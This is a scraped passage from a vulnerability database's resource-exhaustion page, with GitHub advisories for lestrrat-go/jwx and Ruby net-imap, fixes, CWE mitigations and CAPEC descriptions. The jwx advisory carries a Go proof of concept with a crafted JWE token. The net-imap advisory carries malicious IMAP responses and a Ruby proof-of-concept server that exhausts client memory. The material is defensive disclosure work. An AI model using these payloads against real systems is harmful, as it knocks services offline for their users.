      "url": "https://github.com/xnio/xnio/blob/3.8.13.Final/api/src/main/java/org/xnio/AbstractIoFuture.java#L249"
    },
    {
      "type": "WEB",
      "url": "https://issues.redhat.com/browse/XNIO-423"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "XNIO denial of service vulnerability"
}

GHSA-7F9X-GW85-8GRF

Vulnerability from github – Published: 2023-12-05 23:29 – Updated: 2023-12-05 23:29
VLAI
Summary
lestrrat-go/jwx's malicious parameters in JWE can cause a DOS
Details

Summary

too high p2c parameter in JWE's alg PBES2-* could lead to a DOS attack

Details

The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack

PoC

package main

import (
    "fmt"
    "github.com/lestrrat-go/jwx/v2/jwa"
    "github.com/lestrrat-go/jwx/v2/jwe"
    "github.com/lestrrat-go/jwx/v2/jwk"
)

func main() {
    token := []byte("eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6i_TaGsgqEOxU-1Sgdakp4mHq7UVhn-_REzOiGz2gg.gU_LfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA")
    key, err := jwk.FromRaw([]byte(`abcdefg`))
    payload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2_HS256_A128KW, key))
    if err == nil {
        fmt.Println(string(payload))
    }
}

Impact

It's a kind of Dos attack, the user's environment could potentially utilize an excessive amount of CPU resources.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lestrrat-go/jwx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lestrrat-go/jwx/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-49290"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-05T23:29:26Z",
    "nvd_published_at": "2023-12-05T00:15:09Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\ntoo high p2c parameter in JWE\u0027s alg PBES2-* could lead to a DOS attack\n\n### Details\nThe JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive.\nTherefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack\n\n### PoC\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"github.com/lestrrat-go/jwx/v2/jwa\"\n\t\"github.com/lestrrat-go/jwx/v2/jwe\"\n\t\"github.com/lestrrat-go/jwx/v2/jwk\"\n)\n\nfunc main() {\n\ttoken := []byte(\"eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6i_TaGsgqEOxU-1Sgdakp4mHq7UVhn-_REzOiGz2gg.gU_LfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA\")\n\tkey, err := jwk.FromRaw([]byte(`abcdefg`))\n\tpayload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2_HS256_A128KW, key))\n\tif err == nil {\n\t\tfmt.Println(string(payload))\n\t}\n}\n\n```\n\n### Impact\nIt\u0027s a kind of Dos attack, the user\u0027s environment could potentially utilize an excessive amount of CPU resources.\n",
  "id": "GHSA-7f9x-gw85-8grf",
  "modified": "2023-12-05T23:29:26Z",
  "published": "2023-12-05T23:29:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lestrrat-go/jwx/security/advisories/GHSA-7f9x-gw85-8grf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49290"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lestrrat-go/jwx/commit/64f2a229b8e18605f47361d292b526bdc4aee01c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lestrrat-go/jwx"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "lestrrat-go/jwx\u0027s malicious parameters in JWE can cause a DOS"
}

GHSA-7FC5-F82F-CX69

Vulnerability from github – Published: 2025-02-10 17:42 – Updated: 2025-04-30 20:43
VLAI
Summary
Possible DoS by memory exhaustion in net-imap
Details

Summary

There is a possibility for denial of service by memory exhaustion in net-imap's response parser. At any time while the client is connected, a malicious server can send can send highly compressed uid-set data which is automatically read by the client's receiver thread. The response parser uses Range#to_a to convert the uid-set data into arrays of integers, with no limitation on the expanded size of the ranges.

Details

IMAP's uid-set and sequence-set formats can compress ranges of numbers, for example: "1,2,3,4,5" and "1:5" both represent the same set. When Net::IMAP::ResponseParser receives APPENDUID or COPYUID response codes, it expands each uid-set into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted APPENDUID or COPYUID responses with very large uid-set ranges.

The Net::IMAP client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the APPENDUID or COPYUID responses.

Malicious inputs:

# 40 bytes expands to ~1.6GB:
"* OK [COPYUID 1 1:99999999 1:99999999]\r\n"

# Worst *valid* input scenario (using uint32 max),
# 44 bytes expands to 64GiB:
"* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"

# Numbers must be non-zero uint32, but this isn't validated.  Arrays larger than
# UINT32_MAX can be created.  For example, the following would theoretically
# expand to almost 800 exabytes:
"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"

Simple way to test this:

require "net/imap"

def test(size)
  input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\r\n"
  parser = Net::IMAP::ResponseParser.new
  parser.parse input
end

test(99_999_999)

Fixes

Preferred Fix, minor API changes

Upgrade to v0.4.19, v0.5.6, or higher, and configure:

# globally
Net::IMAP.config.parser_use_deprecated_uidplus_data = false
# per-client
imap = Net::IMAP.new(hostname, ssl: true,
                               parser_use_deprecated_uidplus_data: false)
imap.config.parser_use_deprecated_uidplus_data = false

This replaces UIDPlusData with AppendUIDData and CopyUIDData. These classes store their UIDs as Net::IMAP::SequenceSet objects (not expanded into arrays of integers). Code that does not handle APPENDUID or COPYUID responses will not notice any difference. Code that does handle these responses may need to be updated. See the documentation for UIDPlusData, AppendUIDData and CopyUIDData.

For v0.3.8, this option is not available. For v0.4.19, the default value is true. For v0.5.6, the default value is :up_to_max_size. For v0.6.0, the only allowed value will be false (UIDPlusData will be removed from v0.6).

Mitigation, backward compatible API

Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.

For backward compatibility, uid-set can still be expanded into an array, but a maximum limit will be applied.

Assign config.parser_max_deprecated_uidplus_data_size to set the maximum UIDPlusData UID set size. When config.parser_use_deprecated_uidplus_data == true, larger sets will raise Net::IMAP::ResponseParseError. When config.parser_use_deprecated_uidplus_data == :up_to_max_size, larger sets will use AppendUIDData or CopyUIDData.

For v0.3,8, this limit is hard-coded to 10,000, and larger sets will always raise Net::IMAP::ResponseParseError. For v0.4.19, the limit defaults to 1000. For v0.5.6, the limit defaults to 100. For v0.6.0, the limit will be ignored (UIDPlusData will be removed from v0.6).

Please Note: unhandled responses

If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, net-imap has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. This is not significantly different from connecting to a trusted server with a long-lived connection. To limit the maximum number of retained responses, a simple handler might look something like the following:

ruby limit = 1000 imap.add_response_handler do |resp| next unless resp.respond_to?(:name) && resp.respond_to?(:data) name = resp.name code = resp.data.code&.name if resp.data.respond_to?(:code) if Net::IMAP::VERSION > "0.4.0" imap.responses(name) { _1.slice!(0...-limit) } imap.responses(code) { _1.slice!(0...-limit) } else imap.responses(name).slice!(0...-limit) imap.responses(code).slice!(0...-limit) end end

Proof of concept

Save the following to a ruby file (e.g: poc.rb) and make it executable:

#!/usr/bin/env ruby
require 'socket'
require 'net/imap'

if !defined?(Net::IMAP.config)
  puts "Net::IMAP.config is not available"
elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)
  puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available"
else
  Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size
  puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size"
end

size = Integer(ENV["UID_SET_SIZE"] || 2**32-1)

def server_addr
  Addrinfo.tcp("localhost", 0).ip_address
end

def create_tcp_server
  TCPServer.new(server_addr, 0)
end

def start_server
  th = Thread.new do
    yield
  end
  sleep 0.1 until th.stop?
end

def copyuid_response(tag: "*", size: 2**32-1, text: "too large?")
  "#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n"
end

def appenduid_response(tag: "*", size: 2**32-1, text: "too large?")
  "#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n"
end

server = create_tcp_server
port = server.addr[1]
puts "Server started on port #{port}"

# server
start_server do
  sock = server.accept
  begin
    sock.print "* OK test server\r\n"
    cmd = sock.gets("\r\n", chomp: true)
    tag = cmd.match(/\A(\w+) /)[1]
    puts "Received: #{cmd}"

    malicious_response = appenduid_response(size:)
    puts "Sending: #{malicious_response.chomp}"
    sock.print malicious_response

    malicious_response = copyuid_response(size:)
    puts "Sending: #{malicious_response.chomp}"
    sock.print malicious_response
    sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n"
    sock.print "#{tag} OK CAPABILITY completed\r\n"

    cmd = sock.gets("\r\n", chomp: true)
    tag = cmd.match(/\A(\w+) /)[1]
    puts "Received: #{cmd}"
    sock.print "* BYE If you made it this far, you passed the test!\r\n"
    sock.print "#{tag} OK LOGOUT completed\r\n"
  rescue Exception => ex
    puts "Error in server: #{ex.message} (#{ex.class})"
  ensure
    sock.close
    server.close
  end
end

# client
begin
  puts "Client connecting,.."
  imap = Net::IMAP.new(server_addr, port: port)
  puts "Received capabilities: #{imap.capability}"
  pp responses: imap.responses
  imap.logout
rescue Exception => ex
  puts "Error in client: #{ex.message} (#{ex.class})"
  puts ex.full_message
ensure
  imap.disconnect if imap
end

Use ulimit to limit the process's virtual memory. The following example limits virtual memory to 1GB:

$ ( ulimit -v 1000000 && exec ./poc.rb )
Server started on port 34291
Client connecting,..
Received: RUBY0001 CAPABILITY
Sending: * OK [APPENDUID 1 1:4294967295] too large?
Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?
Error in server: Connection reset by peer @ io_fillbuf - fd:9  (Errno::ECONNRESET)
Error in client: failed to allocate memory (NoMemoryError)
/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)
        from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'
        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'
        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'
        from /workspace/poc.rb:70:in '<main>'
Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
6.0 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.2"
            },
            {
              "fixed": "0.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.0"
            },
            {
              "fixed": "0.4.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.5.0"
            },
            {
              "fixed": "0.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-25186"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1287",
      "CWE-400",
      "CWE-405",
      "CWE-409",
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-10T17:42:43Z",
    "nvd_published_at": "2025-02-10T16:15:39Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThere is a possibility for denial of service by memory exhaustion in `net-imap`\u0027s response parser.  At any time while the client is connected, a malicious server can send  can send highly compressed `uid-set` data which is automatically read by the client\u0027s receiver thread.  The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges.\n\n### Details\nIMAP\u0027s `uid-set` and `sequence-set` formats can compress ranges of numbers, for example: `\"1,2,3,4,5\"` and `\"1:5\"` both represent the same set.  When `Net::IMAP::ResponseParser` receives `APPENDUID` or `COPYUID` response codes, it expands each `uid-set` into an array of integers.  On a 64 bit system, these arrays will expand to 8 bytes for each number in the set.  A malicious IMAP server may send specially crafted `APPENDUID` or `COPYUID` responses with very large `uid-set` ranges.\n\nThe `Net::IMAP` client parses each server response in a separate thread, as soon as each responses is received from the server.  This attack works even when the client does not handle the `APPENDUID` or `COPYUID` responses.\n\nMalicious inputs:\n\n```ruby\n# 40 bytes expands to ~1.6GB:\n\"* OK [COPYUID 1 1:99999999 1:99999999]\\r\\n\"\n\n# Worst *valid* input scenario (using uint32 max),\n# 44 bytes expands to 64GiB:\n\"* OK [COPYUID 1 1:4294967295 1:4294967295]\\r\\n\"\n\n# Numbers must be non-zero uint32, but this isn\u0027t validated.  Arrays larger than\n# UINT32_MAX can be created.  For example, the following would theoretically\n# expand to almost 800 exabytes:\n\"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\\r\\n\"\n```\n\nSimple way to test this:\n```ruby\nrequire \"net/imap\"\n\ndef test(size)\n  input = \"A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\\r\\n\"\n  parser = Net::IMAP::ResponseParser.new\n  parser.parse input\nend\n\ntest(99_999_999)\n```\n\n### Fixes\n\n#### Preferred Fix, minor API changes\nUpgrade to v0.4.19, v0.5.6, or higher, and configure:\n```ruby\n# globally\nNet::IMAP.config.parser_use_deprecated_uidplus_data = false\n# per-client\nimap = Net::IMAP.new(hostname, ssl: true,\n                               parser_use_deprecated_uidplus_data: false)\nimap.config.parser_use_deprecated_uidplus_data = false\n```\n\nThis replaces `UIDPlusData` with `AppendUIDData` and `CopyUIDData`.  These classes store their UIDs as `Net::IMAP::SequenceSet` objects (_not_ expanded into arrays of integers).  Code that does not handle `APPENDUID` or `COPYUID` responses will not notice any difference.  Code that does handle these responses _may_ need to be updated.  See the documentation for [UIDPlusData](https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html), [AppendUIDData](https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html) and [CopyUIDData](https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html).\n\nFor v0.3.8, this option is not available.\nFor v0.4.19, the default value is `true`.\nFor v0.5.6, the default value is `:up_to_max_size`.\nFor v0.6.0, the only allowed value will be `false`  _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Mitigation, backward compatible API\nUpgrade to v0.3.8, v0.4.19, v0.5.6, or higher.\n\nFor backward compatibility, `uid-set` can still be expanded into an array, but a maximum limit will be applied.\n\nAssign `config.parser_max_deprecated_uidplus_data_size` to set the maximum `UIDPlusData` UID set size.\nWhen `config.parser_use_deprecated_uidplus_data == true`, larger sets will raise `Net::IMAP::ResponseParseError`.\nWhen  `config.parser_use_deprecated_uidplus_data == :up_to_max_size`, larger sets will use `AppendUIDData` or `CopyUIDData`.\n\nFor v0.3,8, this limit is _hard-coded_ to 10,000, and larger sets will always raise `Net::IMAP::ResponseParseError`.\nFor v0.4.19, the limit defaults to 1000.\nFor v0.5.6, the limit defaults to 100.\nFor v0.6.0, the limit will be ignored  _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Please Note: unhandled responses\nIf the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses.  However, `net-imap` has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses.  _This is not significantly different from connecting to a trusted server with a long-lived connection._  To limit the maximum number of retained responses, a simple handler might look something like the following:\n\n  ```ruby\n  limit = 1000\n  imap.add_response_handler do |resp|\n    next unless resp.respond_to?(:name) \u0026\u0026 resp.respond_to?(:data)\n    name = resp.name\n    code = resp.data.code\u0026.name if resp.data.respond_to?(:code)\n    if Net::IMAP::VERSION \u003e \"0.4.0\"\n      imap.responses(name) { _1.slice!(0...-limit) }\n      imap.responses(code) { _1.slice!(0...-limit) }\n    else\n      imap.responses(name).slice!(0...-limit)\n      imap.responses(code).slice!(0...-limit)\n    end\n  end\n  ```\n\n### Proof of concept\n\nSave the following to a ruby file (e.g: `poc.rb`) and make it executable:\n```ruby\n#!/usr/bin/env ruby\nrequire \u0027socket\u0027\nrequire \u0027net/imap\u0027\n\nif !defined?(Net::IMAP.config)\n  puts \"Net::IMAP.config is not available\"\nelsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)\n  puts \"Net::IMAP.config.parser_use_deprecated_uidplus_data is not available\"\nelse\n  Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size\n  puts \"Updated parser_use_deprecated_uidplus_data to :up_to_max_size\"\nend\n\nsize = Integer(ENV[\"UID_SET_SIZE\"] || 2**32-1)\n\ndef server_addr\n  Addrinfo.tcp(\"localhost\", 0).ip_address\nend\n\ndef create_tcp_server\n  TCPServer.new(server_addr, 0)\nend\n\ndef start_server\n  th = Thread.new do\n    yield\n  end\n  sleep 0.1 until th.stop?\nend\n\ndef copyuid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n  \"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\\r\\n\"\nend\n\ndef appenduid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n  \"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\\r\\n\"\nend\n\nserver = create_tcp_server\nport = server.addr[1]\nputs \"Server started on port #{port}\"\n\n# server\nstart_server do\n  sock = server.accept\n  begin\n    sock.print \"* OK test server\\r\\n\"\n    cmd = sock.gets(\"\\r\\n\", chomp: true)\n    tag = cmd.match(/\\A(\\w+) /)[1]\n    puts \"Received: #{cmd}\"\n\n    malicious_response = appenduid_response(size:)\n    puts \"Sending: #{malicious_response.chomp}\"\n    sock.print malicious_response\n\n    malicious_response = copyuid_response(size:)\n    puts \"Sending: #{malicious_response.chomp}\"\n    sock.print malicious_response\n    sock.print \"* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\\r\\n\"\n    sock.print \"#{tag} OK CAPABILITY completed\\r\\n\"\n\n    cmd = sock.gets(\"\\r\\n\", chomp: true)\n    tag = cmd.match(/\\A(\\w+) /)[1]\n    puts \"Received: #{cmd}\"\n    sock.print \"* BYE If you made it this far, you passed the test!\\r\\n\"\n    sock.print \"#{tag} OK LOGOUT completed\\r\\n\"\n  rescue Exception =\u003e ex\n    puts \"Error in server: #{ex.message} (#{ex.class})\"\n  ensure\n    sock.close\n    server.close\n  end\nend\n\n# client\nbegin\n  puts \"Client connecting,..\"\n  imap = Net::IMAP.new(server_addr, port: port)\n  puts \"Received capabilities: #{imap.capability}\"\n  pp responses: imap.responses\n  imap.logout\nrescue Exception =\u003e ex\n  puts \"Error in client: #{ex.message} (#{ex.class})\"\n  puts ex.full_message\nensure\n  imap.disconnect if imap\nend\n```\n\nUse `ulimit` to limit the process\u0027s virtual memory.  The following example limits virtual memory to 1GB:\n```console\n$ ( ulimit -v 1000000 \u0026\u0026 exec ./poc.rb )\nServer started on port 34291\nClient connecting,..\nReceived: RUBY0001 CAPABILITY\nSending: * OK [APPENDUID 1 1:4294967295] too large?\nSending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?\nError in server: Connection reset by peer @ io_fillbuf - fd:9  (Errno::ECONNRESET)\nError in client: failed to allocate memory (NoMemoryError)\n/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in \u0027Net::IMAP#get_tagged_response\u0027: failed to allocate memory (NoMemoryError)\n        from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in \u0027block in Net::IMAP#send_command\u0027\n        from /rubylibdir/monitor.rb:201:in \u0027Monitor#synchronize\u0027\n        from /rubylibdir/monitor.rb:201:in \u0027MonitorMixin#mon_synchronize\u0027\n        from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in \u0027Net::IMAP#send_command\u0027\n        from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in \u0027block in Net::IMAP#capability\u0027\n        from /rubylibdir/monitor.rb:201:in \u0027Monitor#synchronize\u0027\n        from /rubylibdir/monitor.rb:201:in \u0027MonitorMixin#mon_synchronize\u0027\n        from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in \u0027Net::IMAP#capability\u0027\n        from /workspace/poc.rb:70:in \u0027\u003cmain\u003e\u0027\n```",
  "id": "GHSA-7fc5-f82f-cx69",
  "modified": "2025-04-30T20:43:04Z",
  "published": "2025-02-10T17:42:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/security/advisories/GHSA-7fc5-f82f-cx69"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25186"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/70e3ddd071a94e450b3238570af482c296380b35"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/c8c5a643739d2669f0c9a6bb9770d0c045fd74a3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/cb92191b1ddce2d978d01b56a0883b6ecf0b1022"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ruby/net-imap"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2025-25186.yml"
    },
    {
      "type": "WEB",
      "url": "https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html"
    },
    {
      "type": "WEB",
      "url": "https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html"
    },
    {
      "type": "WEB",
      "url": "https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Possible DoS by memory exhaustion in net-imap"
}

GHSA-7FQC-4XQ7-GHG5

Vulnerability from github – Published: 2025-04-08 18:34 – Updated: 2025-04-08 18:34
VLAI
Details

Uncontrolled resource consumption in Windows Standards-Based Storage Management Service allows an unauthorized attacker to deny service over a network.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-21174"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-08T18:15:44Z",
    "severity": "HIGH"
  },
  "details": "Uncontrolled resource consumption in Windows Standards-Based Storage Management Service allows an unauthorized attacker to deny service over a network.",
  "id": "GHSA-7fqc-4xq7-ghg5",
  "modified": "2025-04-08T18:34:44Z",
  "published": "2025-04-08T18:34:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21174"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21174"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list